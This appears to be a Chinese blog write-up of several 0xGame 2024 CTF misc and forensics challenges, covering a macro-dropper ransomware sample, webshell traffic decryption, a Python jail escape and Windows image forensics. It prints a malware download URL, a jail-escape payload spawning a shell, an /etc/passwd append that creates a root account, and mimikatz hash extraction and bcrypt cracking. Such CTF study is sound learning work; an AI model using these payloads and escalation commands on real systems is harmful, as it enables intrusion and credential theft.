0xGame 2024-Misc-Week 4

[Week 4] Crazy Thursday v me 50 btc

  • 一眼能断定是ppt中的宏病毒,所以打开ppt查看宏,发现是从服务端上下载软件,并静默运行
  • 下载地址http://47.239.17.55/summer.exe
  • 下载后图标一眼看出是pyinstaller打包,因此使用PyInstaller Extractor反编译
  • (注意PyInstaller Extractor要使用最新版,最新版会自动添加MagicNumber而旧版我每次手动添加都不能成功反编译)
  • 然后使用uncompyle6 summer.pyc>summer.py得到源代码
  • 分析源码,手搓
from Crypto.Util.number import *

n = 6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933
c = 1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372
p = 64816076191920076931967680257669007967886202806676552562757735711115285212307
q = 102170960652478489355215071707263191814765888101601364955857801471459364198319
e = 65537
d = inverse(e,(p-1)*(q-1))
m = pow(c,d,n)
k3y = long_to_bytes(m)
  • 这段用来获取3DES的24字节k3y密钥
  • 下面是解密文件
import os
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad

def decrypt_file(key, encrypted_file):
    with open(encrypted_file, "rb") as f:
        ciphertext = f.read()

    # 使用 3DES 算法进行解密
    cipher = DES3.new(key, DES3.MODE_ECB)
    decrypted_data = unpad(cipher.decrypt(ciphertext), DES3.block_size)

    # 去掉 ".encrypted" 扩展名,恢复原文件名
    original_file = encrypted_file.replace(".encrypted", "")
    
    with open(original_file, "wb") as f:
        f.write(decrypted_data)
    print(f"File decrypted: {original_file}")

def find_encrypted_files(dir="."):
    encrypted_files = []
    for root, dirs, files in os.walk(dir):
        for file in files:
            if file.endswith(".encrypted"):
                encrypted_files.append(os.path.join(root, file))
    return encrypted_files

if __name__ == "__main__":
    # 获取所有已加密的文件
    encrypted_files = find_encrypted_files()

    # 对每个文件进行解密
    for encrypted_file in encrypted_files:
        decrypt_file(k3y, encrypted_file)
  • 得到音频文件
  • strings能看到文件末尾藏了密码password:0xRansomeware
  • 可能是Mp3Stego隐写,尝试失败
  • 选择deepsound提取文件
  • winter.txt提示hint是snow隐写
  • (特点是以16进制打开09 20 居多)
  • 0xGame{d3ba2505-36b1-4191-8212-062b943c58ec}

p.s.第一次见Snow隐写,软件都是98年的老古董了

[Week 4] Encrypted file

  • 追踪http流,在134流上发现上传了php文件用来开后门
  • 此文件对上传内容进行了一个加密,所以写出解密脚本
import base64

def decrypt(data):
    key = "e45e329feb5d925b"
    
    # Base64 解码
    decoded_data = base64.b64decode(data)
    
    # XOR 解密
    decrypted = bytearray()
    for i in range(len(decoded_data)):
        decrypted.append(decoded_data[i] ^ ord(key[(i + 1) & 15]))
    
    return decrypted.decode()

# 示例加密数据(Base64 编码的)
encrypted_data = "加密数据"

# 解密
decrypted_code = decrypt(encrypted_data)
print("解密后的代码:")
print(decrypted_code)
  • 然后在139流将传输内容解密,再对cmd命令base64解密可以得到如下
  • cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload..\"&openssl enc -aes-128-cbc -in unfinished_hello.php -out secret.php -iv 114514 -K c4d038b4bed09fdb
  • 发现是将unfinished_hello.php经过AES加密得到secret.php,所以可以编写解密脚本
  • 这里IV和key都要补零
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(input_file, output_file, key, iv):

    # 创建 AES 解密器
    cipher = AES.new(key, AES.MODE_CBC, iv)

    # 读取加密文件
    with open(input_file, 'rb') as f:
        encrypted_data = f.read()

    # 解密数据并去除填充
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

    # 将解密后的数据写入输出文件
    with open(output_file, 'wb') as f:
        f.write(decrypted_data)

# 使用的参数
input_file = 'secret.php'  # 输入加密文件
output_file = 'decrypted_hello.php'  # 输出解密文件
key = b'\xc4\xd0\x38\xb4\xbe\xd0\x9f\xdb\x00\x00\x00\x00\x00\x00\x00\x00'  # 密钥(16 字节,128 位)
iv = b'114514\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'   # 初始向量(16 字节,128 位)

decrypt_aes_cbc(input_file, output_file, key, iv)

print(f"解密完成,已保存到 {output_file}")
  • 还原的的文件打开就能得到flag
  • 0xGame{8552BB81-D51A-FDCE-2EF1-55EBBEFF9B9C}

[Week 4] Untouchable flag

  • 这是一道jail绕过,注意到限制了所有的英文大小写字母以及数字
  • 可以考虑用unicode字符绕过
  • 进一步发现输入限制了长度,并且常用的绕过长度的payload是eval(input())长度是13
  • 注意到提示Python版本是3.7以上,可以联想到3.7及以上版本更新了breakpoint()用法,刚好长度是12
  • payload:𝐛𝐫𝐞𝐚𝐤𝐩𝐨𝐢𝐧𝐭()
  • 之后使用常规的payload即可
  • __import__('os').system('sh')
  • 考虑到可能复制会出现乱码,这里直接用pwntool连接
from pwn import *

addr = "nc 47.98.178.117 2222".split(" ")
io = remote(addr[1],int(addr[2]))
io.recvuntil(">")
io.sendline("𝐛𝐫𝐞𝐚𝐤𝐩𝐨𝐢𝐧𝐭()")
io.interactive()
  • cat flag发现无回显ls -l flag证实无权限读取
  • 使用ls -l /etc/passwd发现拥有passwd的读写权限
  • 可以利用这个来提权
  • 输入echo "aaa:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
  • (此处advwtv/9yU5yQ是加盐过后的密码)
  • su aaa>password@123然后whoami查看成功提权
  • cat flag
  • 0xGame{PyJ@i1_w1Th_P@sswd_3l3Vat3_pr1v1l3g3}

[Week 4] FBI Open The Door!! 1

  • 写脚本计算SHA256或者直接用CMD命令行CertUtil -hashfile fish.E01 SHA256
import hashlib

def calculate_file_hash(file_path):
    sha256 = hashlib.sha256()
    with open(file_path, 'rb') as f:
        chunk = f.read()
        sha256.update(chunk)
    return sha256.hexdigest()

file_path = 'fish.E01'  # 替换为实际文件路径
hash_value = calculate_file_hash(file_path)
print(f'文件的 SHA-256 哈希值: {hash_value}')
  • 0xGame{6d393b09ac01accf27bce07a9c07f5721b9e1e1fd5de1cc8cc1a2581a43e68f5}

[Week 4] FBI Open The Door!! 2

  • 使用Arsenal Image Mounter挂载镜像到本地
  • 打开Windows\System32\Config
  • 用注册表编辑器RegEdit打开
  • SYSTEM 文件中,可以查看 ControlSet001\Services\Tcpip\Parameters 路径下的 Hostname 字段。
  • SOFTWARE 文件中,可以查看 Microsoft\Windows NT\CurrentVersion 路径下的 ComputerName 字段。
  • 0xGame{F1sh1ng-s3v3r}

[Week 4] FBI Open The Door!! 3

  • 参考-链接
  • 使用mimikatz破解Config中的SAM文件和SYSTEM文件
  • 管理员模式打开
  • 0xGame{zaq!xsw@}

[Week 4] FBI Open The Door!! 4

  • 还是查找注册表
  • 用RegEdit打开Conifg>SOFTWARE
  • 查看Microsoft\Windows NT\CurrentVersion下的InstallDate字段
  • 得到日期1729666240
  • 然后用CyberChef将unix时间戳转化为时间
  • 注意这里不是输入UTC时间而是本地时间
  • 0xGame{2024-10-23 14:50:40}

[Week 4] FBI Open The Door!! 5

  • 我选择了用AXIOM来综合取证
  • 先用过滤器搜索SMTP发现有浏览器活动,位于https://localhost:3333
  • 继续搜索localhost:3333
  • 分析下或者看网页名就能知道使用了gophish来进行钓鱼操作
  • 搜索gophish
  • 得到安装路径Windows\Temp\gophish
  • 查看gophish.db文件,AXIOM可以直接查看数据库文件
  • 查找SMTP表得到授权码
  • 0xGame{wpdqlnyvetqyddce}

[Week 4] FBI Open The Door!! 6

  • 同样的数据库里能在表users找到密码的hash
  • 这是Bcrypt加密
  • cmd5能查到但是收费
  • 使用爆破脚本-GayHub
  • 字典我用了top1000
  • 0xGame{qwertyuiop}

评论

  1. hicancan
    1 月前
    2024-11-08 0:09:15

    好厉害😘

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇